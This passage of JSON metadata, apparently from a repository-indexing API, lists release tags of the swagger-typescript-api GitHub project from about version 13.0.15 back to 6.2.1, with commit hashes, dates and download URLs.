0.15","sha":"fce5fec956943f067b03bfba9452035bb9578eba","kind":"commit","published_at":"2024-08-01T14:58:32.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.15","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.15/manifests"},{"name":"13.0.14","sha":"e7341074df2c1d4d62cecdae7b37d8d69dcaa59b","kind":"commit","published_at":"2024-07-28T18:04:36.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.14","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.14/manifests"},{"name":"13.0.13","sha":"c166ca8060bb956c25a4bc936513b323f404c385","kind":"commit","published_at":"2024-07-15T17:42:40.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.13","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.13/manifests"},{"name":"13.0.12","sha":"e5780ffb9750a26a95b421fac75a1adf4143a68c","kind":"commit","published_at":"2024-06-30T23:32:59.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.12","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.12/manifests"},{"name":"13.0.11","sha":"8f955d57d0c32290a099e44643739d3550f211d9","kind":"commit","published_at":"2024-06-29T15:44:45.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.11","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.11/manifests"},{"name":"13.0.10","sha":"9ac09e4b047df87289b465ddc400bd2069a05263","kind":"commit","published_at":"2024-06-27T22:08:20.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.10","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.10/manifests"},{"name":"13.0.9","sha":"cdc26d03f866b9cf740226b2990a1d655a680bc2","kind":"commit","published_at":"2024-06-24T15:53:20.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.9","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.9/manifests"},{"name":"13.0.8","sha":"8b237a11268f6774e82201331d853ee049e078f7","kind":"commit","published_at":"2024-06-21T04:31:02.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.8","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.8/manifests"},{"name":"13.0.7","sha":"6a8ea3658655cfab88dbe8562d28a85799539b88","kind":"commit","published_at":"2024-06-19T15:45:26.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.7","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.7/manifests"},{"name":"13.0.6","sha":"d4286d78e87477f429f068083d5f39d43a50175f","kind":"commit","published_at":"2024-06-15T13:26:21.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.6","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.6/manifests"},{"name":"13.0.5","sha":"70e0de80aa94a515b3457713bf72ae7b1261358d","kind":"commit","published_at":"2024-06-01T23:14:11.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.5","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.5/manifests"},{"name":"13.0.4","sha":"be01c2f1627f8c4d79df330a20c804d2331eb0f9","kind":"commit","published_at":"2024-06-01T22:13:07.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.4","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.4/manifests"},{"name":"13.0.3","sha":"2b6db2346028fe6fb1f311bf5b1221a89837032e","kind":"commit","published_at":"2023-08-09T17:13:48.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.3/manifests"},{"name":"13.0.2","sha":"db92855ad030c44687931820ecbcbf1a3d09df4f","kind":"commit","published_at":"2023-07-25T16:42:55.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.2/manifests"},{"name":"13.0.1","sha":"5729dcf2a1fef8fe8fd1c7c9de2c28ee3d830631","kind":"commit","published_at":"2023-07-25T13:33:09.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.1/manifests"},{"name":"13.0.0","sha":"9a55e7c3af259d3164af8c721f8d4850d75dbf2e","kind":"commit","published_at":"2023-07-13T22:59:10.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.0/manifests"},{"name":"12.0.4","sha":"ec190c9ea80a43565c14e8f688f7a4553a362a43","kind":"commit","published_at":"2023-03-22T23:11:56.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/12.0.4","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/12.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@12.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/12.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/12.0.4/manifests"},{"name":"12.0.3","sha":"dbcf6ccd1423a5d4450924a9f3aa6e16c4435a38","kind":"commit","published_at":"2023-02-09T14:35:24.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/12.0.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/12.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@12.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/12.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/12.0.3/manifests"},{"name":"12.0.2","sha":"79274ac391f6f5d12ebc2e3773c5bf6783f7312e","kind":"commit","published_at":"2022-11-14T10:34:34.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/12.0.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/12.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@12.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/12.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/12.0.2/manifests"},{"name":"12.0.1","sha":"1ce2dd509537d856d2d0c91f2e8d46bdec6e26b9","kind":"commit","published_at":"2022-11-13T16:37:33.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/12.0.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/12.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@12.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/12.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/12.0.1/manifests"},{"name":"12.0.0","sha":"e3e0e6ed1bc7abcd73a3ffaff1e55a25830bfa3b","kind":"commit","published_at":"2022-11-13T07:41:15.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/12.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/12.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@12.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/12.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/12.0.0/manifests"},{"name":"11.1.3","sha":"a0174e99d0caf3aa585a90e19590fe3c45b0eb60","kind":"commit","published_at":"2022-11-05T18:27:56.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/11.1.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/11.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@11.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/11.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/11.1.3/manifests"},{"name":"11.1.2","sha":"3417bf3b87a1e5bf9ae1456c7a88baa80a88a855","kind":"commit","published_at":"2022-10-30T09:29:31.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/11.1.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/11.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@11.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/11.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/11.1.2/manifests"},{"name":"11.1.1","sha":"6285367fd1b4b38f98ce59d67d0415f876840e93","kind":"commit","published_at":"2022-10-28T05:27:28.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/11.1.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/11.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@11.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/11.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/11.1.1/manifests"},{"name":"11.1.0","sha":"a6814dcfff78d798f5396d172605ce509a26625d","kind":"commit","published_at":"2022-10-27T21:15:49.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/11.1.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/11.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@11.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/11.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/11.1.0/manifests"},{"name":"11.0.0","sha":"e64d703d7f3533cae5062ae9f04b0aefcfa82880","kind":"commit","published_at":"2022-10-27T15:45:46.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/11.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/11.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@11.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/11.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/11.0.0/manifests"},{"name":"10.0.3","sha":"e8ffa3f25c87508c7972d17e337ca58af22859d9","kind":"commit","published_at":"2022-10-15T23:38:38.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/10.0.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/10.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@10.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/10.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/10.0.3/manifests"},{"name":"10.0.2","sha":"e8ffa3f25c87508c7972d17e337ca58af22859d9","kind":"commit","published_at":"2022-10-15T23:38:38.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/10.0.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/10.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@10.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/10.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/10.0.2/manifests"},{"name":"9.2.0","sha":"7df956c236d1e7fc051658cd7012c8ea22286b44","kind":"commit","published_at":"2021-07-14T10:56:51.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/9.2.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/9.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@9.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.2.0/manifests"},{"name":"9.1.2","sha":"189dec0ee3b53194c0fb7ab989eeacff3430d952","kind":"commit","published_at":"2021-06-08T07:51:35.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/9.1.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/9.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@9.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.1.2/manifests"},{"name":"9.1.1","sha":"7db77854354bc37e6a2342c2edbead2621f8c1d6","kind":"commit","published_at":"2021-06-04T07:50:28.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/9.1.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/9.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@9.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.1.1/manifests"},{"name":"9.0.2","sha":"0cbcbba33273d9ff309852e98b173821c8af6e44","kind":"commit","published_at":"2021-05-03T17:05:47.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/9.0.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/9.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@9.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.0.2/manifests"},{"name":"9.0.1","sha":"02727395501766c914177ce1e74dc2421a1ff3b4","kind":"commit","published_at":"2021-05-01T10:42:22.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/9.0.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/9.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@9.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.0.1/manifests"},{"name":"9.0.0","sha":"b4b11eb1a3fda32cc1ba65e7c45fb645a0ae52ba","kind":"commit","published_at":"2021-04-29T06:37:36.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/9.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/9.0.0/manifests"},{"name":"8.0.3","sha":"35b08b114be05a5163861f3a1570477bd577d672","kind":"commit","published_at":"2021-04-08T07:05:06.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/8.0.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/8.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@8.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/8.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/8.0.3/manifests"},{"name":"8.0.2","sha":"31e63c231dac3c1a4619ba81ef2b92307d83da31","kind":"commit","published_at":"2021-04-05T07:42:45.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/8.0.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/8.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@8.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/8.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/8.0.2/manifests"},{"name":"8.0.1","sha":"b226db32fe5163ca97112f227eb0d33b026d2919","kind":"commit","published_at":"2021-04-05T07:35:46.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/8.0.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/8.0.1/manifests"},{"name":"8.0.0","sha":"4b809f393a3f5de577926a2fca7c74dc8418d4a8","kind":"commit","published_at":"2021-04-04T22:49:57.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/8.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/8.0.0/manifests"},{"name":"7.0.1","sha":"8329c4bfbe5dd75e3e6a18415597129578a86375","kind":"commit","published_at":"2021-03-28T21:16:28.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/7.0.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/7.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@7.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/7.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/7.0.1/manifests"},{"name":"7.0.0","sha":"44c6f54890d0860d13e21502d88b3fc2890a4441","kind":"commit","published_at":"2021-03-19T08:21:10.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/7.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/7.0.0/manifests"},{"name":"6.4.2","sha":"888249b56c3791bac5c64c6247f764cbce5a8f42","kind":"commit","published_at":"2021-03-09T21:41:30.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/6.4.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/6.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@6.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.4.2/manifests"},{"name":"6.4.1","sha":"8354a4fe57dac803272228558223ab6fce25c5a4","kind":"commit","published_at":"2021-03-07T22:08:41.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/6.4.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/6.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@6.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.4.1/manifests"},{"name":"6.4.0","sha":"a975971c0e680cb396016acbae17b9448536b29e","kind":"commit","published_at":"2021-03-05T23:35:52.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/6.4.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/6.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@6.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.4.0/manifests"},{"name":"6.3.0","sha":"7d38f2030447c4e0b58070e108ec433a94049578","kind":"commit","published_at":"2021-03-04T21:54:30.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/6.3.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/6.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@6.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.3.0/manifests"},{"name":"6.2.1","sha":"c9753aaaa6334a1a1daee09b6b6ba5f710c4ff9c","kind":"commit","published_at":"2021-03-04T09:12:14.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/6.2.1","html_url":"https://github.com/acacode/swagger-typescript-a